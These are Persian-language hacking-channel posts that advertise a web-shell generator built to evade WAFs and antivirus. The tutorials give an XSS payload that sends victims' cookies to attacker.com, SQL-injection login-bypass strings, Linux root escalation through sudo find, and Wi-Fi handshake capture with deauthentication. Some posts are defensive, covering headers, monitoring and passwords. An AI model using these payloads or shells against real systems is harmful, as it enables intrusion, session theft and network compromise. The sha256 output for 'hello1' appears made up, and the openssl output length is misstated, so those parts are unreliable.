این پایگاه داده با ارائه طیف وسیعی از شناسههای کاربری استاندارد و غیراستاندارد، امکان شبیهسازی دقیق ترافیک وب را فراهم میکند و برای توسعهدهندگان، برنامهنویسان و متخصصان امنیت سایبری که نیاز به تستهای جامع پراکسی، اسکریپتنویسی خودکار یا تحلیل رفتار مرورگرها دارند، منبعی ایدهآل و غنی به شمار میرود.
4 288
Shell Generator 🐚 DarkPacket
یک ابزار، هشت زبان
PHP · ASP · JSP · Node.js · Python · Perl · Ruby · Bash
هر زبان قابلیتهای مخصوص خودش رو داره — از اجرای فرمان و eval تا شل معکوس، بایند شل، MySQL Dump و Thread Enumeration
پشتیبانی از کلید ساده، MD5 و SHA1 با پارامتر تصادفی
قابلیتهای پرقدرت: اجرای فرمان · لیست فایل · خواندن/نوشتن · آپلود/دانلود · اطلاعات سرور · کوئری SQL · شل معکوس · بایند شل · زیپ · خودتخریبی · خروجی زنده · کپی یککلیکی · دانلود خودکار با پسوند صحیح · راهنمای هوشمند برای هر زبان · شش لایه مبهمسازی Base64 · Hex · XOR · Split · Combo · None برای دور زدن WAF و آنتیویروس
4 288
XSS چیه و چرا خطرناکه
XSS یعنی تزریق جاوااسکریپت به صفحهای که کاربر دیگه میبینه.
سه نوع داره:
۱. Reflected XSS
کد تو URL هست و تو همون لحظه اجرا میشه.
مثال:
example.com/search?q=<script>alert(1)</script>
۲. Stored XSS
کد تو دیتابیس ذخیره میشه و هر کسی صفحه رو باز کنه، اجرا میشه.
مثال: کامنت تو یه وبلاگ.
هر بازدیدکننده، کد رو اجرا میکنه.
۳. DOM-based XSS
کد تو جاوااسکریپت خود سایت پردازش میشه.
بدون درخواست به سرور.
چرا خطرناکه؟
چون با یه XSS میتونی:
کوکی کاربر رو بدزدی
سشنش رو بربایی
فرم لاگین جعلی نشون بدی
کل صفحه رو تغییر بدی
کیلاگر نصب کنی
مثال سرقت کوکی:
<script>new Image().src='//attacker.com?c='+document.cookie</script>
این یه درخواست به سرور هکر میفرسته با کوکی قربانی.
دفاع:
همیشه ورودی کاربر رو Encode کن.
از Content-Security-Policy استفاده کن.
کوکیها رو HttpOnly کن.
#ℳℴ𝒷𝒾𝓃
4 288
حمله به فرم لاگین، چرا پسورد مهم نیست
اکثر هکرهای مبتدی فکر میکنن باید پسورد رو کرک کنن.
ولی حرفهایها سراغ خود فرم نمیرن.
مثال:
یه فرم لاگین ساده:
username: admin
password: any
چک کن اگه فقط یوزرنیم رو بذاری چی میشه.
بعضی فرمها فقط یوزرنیم چک میکنن.
یا:
username: admin'--
password: any
اگه دیتابیس MySQL باشه، این کوئری اجرا میشه:
SELECT * FROM users WHERE username='admin'--' AND password='any'
تو کامنت --، بقیه کوئری نادیده گرفته میشه.
پسورد اصلاً چک نمیشه.
یا:
username: admin
password: ' OR '1'='1
کوئری میشه:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'
چون 1=1 همیشه درسته، همه رکوردها برمیگردن.
وارد میشی.
یا:
username: admin
password: ' OR 1=1 LIMIT 1--
حالا فقط اولین کاربر برمیگرده.
نکته:
همه اینا به شرطیه که سایت از Prepared Statement استفاده نکنه.
اگه استفاده کنه، هیچکدوم کار نمیکنه.
#ℳℴ𝒷𝒾𝓃
4 288
بالا رفتن سطح دسترسی در لینوکس، مرحله به مرحله
فرض کن یه شل معمولی گرفتی. user عادی هستی.
حالا باید root بشی.
اولین چک:
sudo -l
این دستور میگه چه دستوراتی رو میتونی با sudo اجرا کنی.
بعضی وقتا یه دستور ساده مثل find یا vim اینجاست که میتونی ازش سوءاستفاده کنی.
مثال:
اگه sudo -l نشون داد:
(ALL) NOPASSWD: /usr/bin/find
میتونی این رو بزنی:
sudo find . -exec /bin/sh \; -quit
حالا root هستی.
چک دوم: فایلهای SUID
find / -perm -4000 -type f 2>/dev/null
این فایلها با دسترسی root اجرا میشن.
بعضیاشون آسیبپذیرن.
چک سوم: کرونجابها
cat /etc/crontab
ls -la /etc/cron.*
اگه یه اسکریپت با دسترسی root اجرا میشه و تو میتونی نوشتش کنی،
فقط یه خط بهش اضافه کن که یه شل بهت بده.
چک چهارم: فایلهای قابل نوشتن
find / -writable -type f 2>/dev/null | grep -v proc
اگه تونستی یه فایل مهم رو ویرایش کنی، راه برای root شدن بازه.
#ℳℴ𝒷𝒾𝓃
4 288
حمله به وایفای، همون چیزی که تو فیلمها میبینی
همه فکر میکنن هک وایفای یعنی کرک کردن پسورد.
ولی داستان چیز دیگهایه.
وایفای با WPA2 رمزنگاری میشه.
پسورد رو نمیتونی مستقیم بخونی.
ولی میتونی Handshake رو بگیری.
Handshake چیه؟
وقتی یه دستگاه به وایفای وصل میشه، یه تبادل رمزنگاری شده انجام میشه.
این تبادل، شامل پسورد هش شدهست.
مراحل:
۱. بری تو حالت مانیتور
airmon-ng start wlan0
۲. شبکهها رو ببینی
airodump-ng wlan0mon
۳. هندشیک بگیری
airodump-ng -c 6 --bssid MAC -w capture wlan0mon
۴. با Deauth، دستگاه رو قطع کنی تا دوباره وصل شه
aireplay-ng -0 5 -a MAC wlan0mon
۵. حالا یه فایل capture داری که هندشیک توشه.
۶. با wordlist کرکش کنی
aircrack-ng -w rockyou.txt capture-01.cap
نکته:
اگه پسورد قوی باشه، این روش هیچوقت جواب نمیده.
پسورد ۱۲ کاراکتری رندوم، میلیونها سال طول میکشه.
#ℳℴ𝒷𝒾𝓃
4 288
تفاوت رمزنگاری و هش کردن، یه بار برای همیشه
اکثر مردم این دوتا رو قاطی میکنن.
ولی فرقشون مثل فرق قفل و چرخگوشته.
رمزنگاری:
ورودی رو میگیری، با کلید قفلش میکنی.
با همون کلید بازش میکنی.
برگشتپذیره.
هش:
ورودی رو میگیری، یه خروجی ثابت میگیری.
هیچ کلیدی نیست.
برگشتناپذیره.
پس کِی از کدوم استفاده کنیم؟
رمزنگاری: برای دادهای که بعداً باید بخونیم.
مثل فایل، پیام، دیتابیس.
هش: برای دادهای که فقط باید چک کنیم.
مثل پسورد، امضای دیجیتال، بلاکچین.
چرا پسورد رو هش میکنن نه رمزنگاری؟
چون اگه رمزنگاری کنن، کلید کجاست؟
اگه کلید لو بره، همه پسوردها لو میره.
ولی هش، حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
مگر اینکه پسورد ضعیف باشه و کرک بشه.
#ℳℴ𝒷𝒾𝓃
4 288
OSINT چیه و چرا اولین قدم هر عملیاته
قبل از اینکه به چیزی حمله کنی، باید بدونی طرف چیه.
OSINT یعنی جمعآوری اطلاعات از منابع عمومی.
سه تا منبع طلایی:
۱. whois
whois example.com
اسم صاحب دامنه، ایمیل، شماره تلفن، تاریخ ثبت.
اگه حریم خصوصی فعال نباشه، همه چی لو میره.
۲. crt.sh
برو به crt.sh و دامنه رو سرچ کن.
همه زیردامنههای ثبتشده رو نشون میده.
این یه معدن طلاست برای پیدا کردن پنلهای مخفی.
۳. Shodan
موتور جستجوی دستگاههاست، نه سایتها.
میتونی سرچ کنی: org:"Target Company"
همه سرورهای اون شرکت با پورتهای بازشون.
نکته:
هیچوقت با اکانت شخصیت این کارها رو نکن.
یه VM جدا، یه VPN، یه مرورگر جدا.
#ℳℴ𝒷𝒾𝓃
4 288
هدرهای امنیتی که هر سایتی باید داشته باشه
وقتی یه سایت باز میکنی، سرور یه سری هدر میفرسته که مرورگرت رفتارش رو تنظیم کنه.
چک کردنشون خیلی راحته:
curl -I https://example.com
خروجی رو نگاه کن، اینا باید باشن:
X-Frame-Options: DENY
یعنی سایت تو iframe باز نشه. جلوی Clickjacking رو میگیره.
X-Content-Type-Options: nosniff
یعنی مرورگر نوع فایل رو حدس نزنه.
Strict-Transport-Security: max-age=31536000
یعنی مرورگر همیشه از HTTPS استفاده کنه.
Content-Security-Policy: default-src 'self'
یعنی فقط اسکریپتهای خود سایت اجرا بشن.
اگه اینا نبودن چی؟
سایت آسیبپذیره. میتونه هدف XSS، Clickjacking، یا MITM باشه.
ابزار سریع برای چک:
curl -s -D - https://example.com -o /dev/null | grep -i "x-frame\|strict\|content-security"
#ℳℴ𝒷𝒾𝓃
4 288
مانیتور زنده اتصالات شبکه
میخوای ببینی همین الان سیستمت به کجا وصله؟
watch -n1 "netstat -tunap | grep ESTABLISHED"
چیکار میکنه؟
هر ثانیه لیست اتصالات فعال رو نشون میده.
grep ESTABLISHED فقط اتصالات برقرار شده رو فیلتر میکنه.
خروجی چطوریه؟
یه لیست از IP و پورتها.
ستون آخر، اسم برنامهایه که اتصال رو باز کرده.
چرا مهمه؟
اگه یه برنامه مشکوک ببینی که به IP ناشناس وصله، یعنی یه جای کار میلنگه.
ممکنه یه بدافزار در حال ارسال داده باشه.
نسخه بهروزتر با ss:
watch -n1 "ss -tunap | grep ESTAB"
ss جدیدتره، سریعتره، و روی سیستمهای مدرن بهتر کار میکنه.
نکته امنیتی:
اگه دیدی یه پروسهای مرتب به یه IP خارجی وصل میشه و نمیشناسیش،
PID رو بردار و با ps برو ببین چیه.
#ℳℴ𝒷𝒾𝓃
4 288
پیدا کردن فایلهای حجیم روی سیستم
وقتی هاردت پر میشه، معمولاً نمیدونی چی فضا رو خورده.
find / -type f -size +100M 2>/dev/null
این خط میره کل سیستم رو میگرده، هر فایلی بالای ۱۰۰ مگ رو نشون میده.
چرا 2>/dev/null؟
چون find خیلی جاها دسترسی نداره و ارور میده.
این بخش، ارورها رو میفرسته به سیاهچال.
نسخه حرفهایتر:
find / -type f -size +100M -exec ls -lh {} \; 2>/dev/null | awk '{ print $5, $9 }'
حالا حجم و مسیر فایل رو کنار هم میبینی.
کاربرد دیگه:
توی تست نفوذ، گاهی دنبال فایلهای بکاپ میگردی.
همین دستور رو با ۱۰M اجرا کن، شاید یه backup.sql گیرت بیاد.
#ℳℴ𝒷𝒾𝓃
4 288
ساخت پسورد رندوم قوی با یه دستور
به جای اینکه خودت پسورد بسازی و فکر کنی قویه، بذار سیستم بسازه.
openssl rand -base64 16
خروجی مثلاً:
Kj8sL2mPqR5vX9wN
۲۲ کاراکتر، کاملاً رندوم، غیرقابل حدس.
چرا از openssl؟
چون از منبع رندوم سیستم عامل استفاده میکنه، نه یه الگوریتم ساده.
پس پیشبینیپذیر نیست.
اگه میخوای حتی قویتر باشه:
openssl rand -base64 32
۴۴ کاراکتر. برای کلیدهای رمزنگاری یا API Key عالیه.
نکته:
هیچوقت از پسوردهای تولیدی برای همه سایتها استفاده نکن.
برای هر سرویس، یه پسورد جدا بساز.
و اگه میخوای مدیریتش کنی، از یه Password Manager استفاده کن.
نه از فایل تکست یا دفترچه.
#ℳℴ𝒷𝒾𝓃
4 288
مخفی کردن متن داخل عکس
این تکنیک اسمش Steganography هست.
یعنی اطلاعات رو جایی پنهان کنی که کسی شک نکنه.
سادهترین روش: چسبوندن به آخر فایل عکس.
cat secret.txt >> image.jpg
حالا عکس رو باز کن. کاملاً سالمه، هیچ تغییری نمیبینی.
ولی متن داخلشه.
برای استخراج:
strings image.jpg | tail
میبینی که متن آخرشه.
چرا کاربردی؟
وقتی میخوای یه فایل رو بفرستی بدون اینکه کسی بفهمه.
یا وقتی میخوای داخل یه شبکه، داده قايم کنی.
نکته مهم:
این روش خیلی سادهست و با یه نگاه به حجم فایل لو میره.
اگه فایل عکس ۵۰ کیلوبایتی، ۲۰۰ کیلوبایت بشه، هر کسی شک میکنه.
روشهای حرفهایتر، بیتهای آخر پیکسلها رو تغییر میدن.
چشم انسان نمیبینه، ولی فایل سالم میمونه.
#ℳℴ𝒷𝒾𝓃
4 288
هش کردن متن، چرا برگشتناپذیره
هش یه تابع ریاضیه که ورودی رو میگیره، خروجی ثابت میده.
echo -n "hello" | sha256sum
خروجی:
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
حالا بذار "hello1" رو هش کن:
echo -n "hello1" | sha256sum
خروجی:
ce06092c04b6e91d7d7dc82c05e1a6e3e5a4f3a4c4f9e9f4b6c6b1a2c8d8e8f9
ببین چقدر فرق کرد؟ فقط با یه کاراکتر اضافه.
چرا برگشتناپذیره؟
چون هش اطلاعات رو فشرده میکنه، بخشی از داده گم میشه.
از خروجی نمیتونی ورودی رو بازسازی کنی.
ولی یه راه هست: Brute Force
همه ترکیبها رو امتحان کنی تا یکی مطابقت کنه.
برای همینم پسوردها رو هش میکنن. حتی اگه دیتابیس لو بره، پسورد مستقیم لو نمیره.
البته اگه پسوردت ضعیف باشه، تو چند دقیقه کرک میشه.
#ℳℴ𝒷𝒾𝓃
4 288
چک کردن قدرت پسورد با پایتون
یه اسکریپت کوتاه که بهت میگه پسوردت چقدر قویه.
p = input("Password: ")
score = 0
if len(p) >= 12: score += 1
if any(c.isdigit() for c in p): score += 1
if any(c.isupper() for c in p): score += 1
if any(c.islower() for c in p): score += 1
if any(c in "!@#$%^&*" for c in p): score += 1
if score == 5:
print("Strong")
elif score >= 3:
print("Medium")
else:
print("Weak")
این چیکار میکنه؟
پنج معیار رو چک میکنه: طول، عدد، حرف بزرگ، حرف کوچیک، علامت.
هر کدوم رعایت شده، یه امتیاز میگیره.
چرا مهمه؟
چون اکثر مردم فکر میکنن پسوردشون قویه.
ولی وقتی معیارها رو ببینی، میفهمی فقط یه لایه داری.
میتونی توسعهش بدی:
چک کن توی لیست پسوردهای رایج هست یا نه.
چک کن توی دیتابیسهای لو رفته پیداش میشه یا نه.
#ℳℴ𝒷𝒾𝓃
